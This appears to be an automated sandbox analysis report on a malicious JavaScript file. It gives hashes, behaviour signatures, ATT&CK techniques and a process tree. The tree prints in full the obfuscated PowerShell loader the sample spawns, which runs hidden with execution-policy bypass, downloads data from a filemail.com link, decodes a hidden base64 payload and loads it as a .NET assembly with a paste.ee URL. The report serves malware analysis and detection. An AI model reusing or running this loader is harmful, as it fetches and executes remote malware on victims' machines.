3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488

General

Target

3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488.js
Size

103KB
MD5

82bf71f9d463c60e2304cbf9f9cac022
SHA1

d54cce9d9a238310b00d154c9f35033e62ca1d81
SHA256

3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488
SHA512

19bf4493c19a438fbd21266f012f21b22a2cf0448db22c41d9994afaa200a04a621968737953c12408f7d31e9c8c0bbd253e900823364210090e98a841b5004c
SSDEEP

3072:MHXp+q62Nhxdd5pdq61HXp+q62Nhxdd5pdqsVd0HXp+q62Nhxdd5pdq61HXp+q61:k3/13jc3/13+

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	2256	powershell.exe
24	2256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3648	powershell.exe
2256	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3648	powershell.exe
3648	powershell.exe
2256	powershell.exe
2256	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 3648	4284	wscript.exe	85
PID 4284 wrote to memory of 3648	4284	wscript.exe	85
PID 3648 wrote to memory of 2256	3648	powershell.exe	87
PID 3648 wrote to memory of 2256	3648	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3f354bdb3557ffb64892e788c439adc0da9f7fd4f39b143a1cc2d8f7059b4488.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACgARwBlAFQALQBWAGEAcgBJAGEAQgBsAGUAIAAnACoAbQBkAFIAKgAnACkALgBOAGEATQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBJAE4AJwAnACkAKAAgACgAJwBjAHEAagBpAG0AYQBnAGUAVQByAGwAIAA9ACAAcABYAHoAaAB0AHQAcABzADoALwAvADEAMAAxADcALgBmAGkAbABlAG0AYQBpAGwALgBjAG8AbQAvAGEAcABpAC8AZgBpAGwAZQAvAGcAZQB0AD8AZgBpAGwAZQBrAGUAeQA9ADIAQQBhAF8AYgBXAG8AOQBSAGUAdQA0ADUAdAA3AEIAVQAxAGsAVgBnAHMAZAA5AHAAVAA5AHAAZwBTAFMAbAB2AFMAdABHAHIAbgBUAEkAQwBmAEYAaABtAFQASwBqADMATABDADYAUwBRACcAKwAnAHQASQBjAE8AYwBfAFQAMwA1AHcAJgBwAGsAXwB2ACcAKwAnAGkAZAA9AGYAZAA0AGYANgAxADQAYgBiADIAMAA5AGMANgAyAGMAMQA3ADMAMAA5ADQANQAxADcANgBhADAAOQAwADQAZgAgAHAAWAB6ADsAYwBxAGoAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACcAKwAnAGMAcQBqAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAYwBxAGoAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoAGMAcQBqAGkAbQBhAGcAZQBVAHIAJwArACcAbAApADsAYwBxAGoAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAYwBxACcAKwAnAGoAaQBtAGEAZwBlAEIAeQB0AGUAcwApACcAKwAnADsAYwBxAGoAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAcABYAHoAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgBwAFgAegA7AGMAcQBqAGUAbgBkAEYAbABhAGcAIAA9ACAAcABYAHoAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+AHAAWAB6ADsAYwBxAGoAcwAnACsAJwB0AGEAcgAnACsAJwB0AEkAbgBkAGUAeAAgAD0AIABjAHEAagBpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeAAnACsAJwBPACcAKwAnAGYAKABjAHEAagBzAHQAYQByAHQARgBsAGEAZwApADsAYwBxAGoAZQBuAGQAJwArACcASQBuAGQAZQB4ACAAPQAgAGMAcQBqAGkAbQAnACsAJwBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AJwArACcAZgAoAGMAcQBqAGUAbgBkAEYAbABhAGcAKQA7AGMAcQAnACsAJwBqACcAKwAnAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAYwBxAGoAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIABjAHEAagBzAHQAYQByAHQASQBuAGQAZQB4ADsAYwBxAGoAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgAGMAcQBqAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwBjAHEAagBiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIABjAHEAagAnACsAJwBlAG4AZABJAG4AZABlAHgAIAAtACAAYwBxAGoAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AGMAcQBqAGIAYQBzAGUANgA0AEMAbwAnACsAJwBtAG0AYQBuAGQAIAA9ACAAYwBxAGoAJwArACcAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACcAKwAnAGMAcQBqAHMAdABhAHIAdABJAG4AJwArACcAZABlAHgALAAnACsAJwAgAGMAcQBqAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwBjAHEAagAnACsAJwBiAGEAcwBlADYANABSAGUAdgBlAHIAcwBlAGQAIAA9ACAALQBqAG8AaQBuACAAKABjAHEAagBiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkAC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAG4AeABhACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgAGMAcQBqAF8AIAB9ACkAWwAtADEALgAuAC0AKABjAHEAagBiAGEAcwBlADYANABDAG8AJwArACcAbQBtAGEAbgBkAC4ATABlAG4AZwB0AGgAKQBdADsAYwBxAGoAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAGMAcQBqAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAApADsAYwBxAGoAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwAnACsAJwBuAC4AQQBzAHMAZQBtAGIAJwArACcAbAB5ACcAKwAnAF0AJwArACcAOgA6AEwAbwBhACcAKwAnAGQAKABjAHEAagBjAG8AbQBtAGEAJwArACcAbgBkAEIAeQB0AGUAcwApADsAYwBxAGoAdgBhAGkATQBlACcAKwAnAHQAaABvAGQAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoAHAAWAB6AFYAQQBJAHAAWAAnACsAJwB6ACkAOwBjAHEAagB2AGEAaQBNAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACcAKwAnACgAYwBxAGoAbgB1AGwAbAAsACAAQAAoAHAAWAB6ADAALwA4AGUAUgAnACsAJwBOAEcALwBkAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaABwAFgAegAsACAAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsACAAcABYAHoAZAAnACsAJwBlAHMAYQB0AGkAdgBhAGQAJwArACcAbwBwAFgAegAsACAAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwAnACsAJwBwAFgAegAsACAAcABYAHoATQBTAEIAdQBpAGwAZABwAFgAegAsACAAcABYAHoAZABlACcAKwAnAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsACAAcABYAHoAZAAnACsAJwBlAHMAYQAnACsAJwB0AGkAdgBhAGQAbwBwAFgAegAsAHAAWAB6AGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAHoALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAZABlAHMAYQB0AGkAdgBhAGQAbwBwAFgAegAsAHAAWAB6AGQAZQBzAGEAdABpAHYAYQBkAG8AcABYAHoALABwAFgAegBkAGUAcwBhAHQAaQB2AGEAZABvAHAAWAB6ACwAcABYAHoAMQBwAFgAegAsAHAAWAB6AGQAZQAnACsAJwBzAGEAdABpAHYAYQBkAG8AcABYAHoAKQApADsAJwApAC4AcgBlAFAATABBAEMAZQAoACgAWwBDAEgAQQBSAF0AMQAxADAAKwBbAEMASABBAFIAXQAxADIAMAArAFsAQwBIAEEAUgBdADkANwApACwAJwB8ACcAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADEAMQAyACsAWwBDAEgAQQBSAF0AOAA4ACsAWwBDAEgAQQBSAF0AMQAyADIAKQAsAFsAcwB0AHIAaQBOAGcAXQBbAEMASABBAFIAXQAzADkAKQAuAHIAZQBQAEwAQQBDAGUAKAAoAFsAQwBIAEEAUgBdADkAOQArAFsAQwBIAEEAUgBdADEAMQAzACsAWwBDAEgAQQBSAF0AMQAwADYAKQAsACcAJAAnACkAIAApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((GeT-VarIaBle '*mdR*').NaMe[3,11,2]-joIN'')( ('cqjimageUrl = pXzhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQ'+'tIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a0904f pXz;cqjwebClient = New-Object System.Net.WebClient;'+'cqjimageBytes = cqjwebClient.DownloadData(cqjimageUr'+'l);cqjimageText = [System.Text.Encoding]::UTF8.GetString(cq'+'jimageBytes)'+';cqjstartFlag = pXz<<BASE64_START>>pXz;cqjendFlag = pXz<<BASE64_END>>pXz;cqjs'+'tar'+'tIndex = cqjimageText.Index'+'O'+'f(cqjstartFlag);cqjend'+'Index = cqjim'+'ageText.IndexO'+'f(cqjendFlag);cq'+'j'+'startIndex -ge 0 -and cqjendIndex -gt cqjstartIndex;cqjstartIndex += cqjstartFlag.Length;cqjbase64Length = cqj'+'endIndex - cqjstartIndex;cqjbase64Co'+'mmand = cqj'+'imageText.Substring('+'cqjstartIn'+'dex,'+' cqjbase64Length);cqj'+'base64Reversed = -join (cqjbase64Command.ToCharArray() nxa ForEach-Object { cqj_ })[-1..-(cqjbase64Co'+'mmand.Length)];cqjcommandBytes = [System.Convert]::FromBase64String(cqjbase64Reversed);cqjloadedAssembly = [System.Reflectio'+'n.Assemb'+'ly'+']'+'::Loa'+'d(cqjcomma'+'ndBytes);cqjvaiMe'+'thod = [dnlib.IO.Home].GetMethod(pXzVAIpX'+'z);cqjvaiMethod.Invoke'+'(cqjnull, @(pXz0/8eR'+'NG/d/ee.etsap//:sptthpXz, pXzdesativadopXz, pXzd'+'esativad'+'opXz, pXzdesativado'+'pXz, pXzMSBuildpXz, pXzde'+'sativadopXz, pXzd'+'esa'+'tivadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXzdesativadopXz,pXz1pXz,pXzde'+'sativadopXz));').rePLACe(([CHAR]110+[CHAR]120+[CHAR]97),'|').rePLACe(([CHAR]112+[CHAR]88+[CHAR]122),[striNg][CHAR]39).rePLACe(([CHAR]99+[CHAR]113+[CHAR]106),'$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dbwrnvfs.kde.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2256-24-0x00000218FE380000-0x00000218FE4D8000-memory.dmp

Filesize
1.3MB

Download
memory/3648-0-0x00007FFBA0A03000-0x00007FFBA0A05000-memory.dmp

Filesize
8KB

Download
memory/3648-10-0x000001B372A80000-0x000001B372AA2000-memory.dmp

Filesize
136KB

Download
memory/3648-11-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/3648-12-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/3648-22-0x00007FFBA0A03000-0x00007FFBA0A05000-memory.dmp

Filesize
8KB

Download
memory/3648-23-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download
memory/3648-30-0x00007FFBA0A00000-0x00007FFBA14C1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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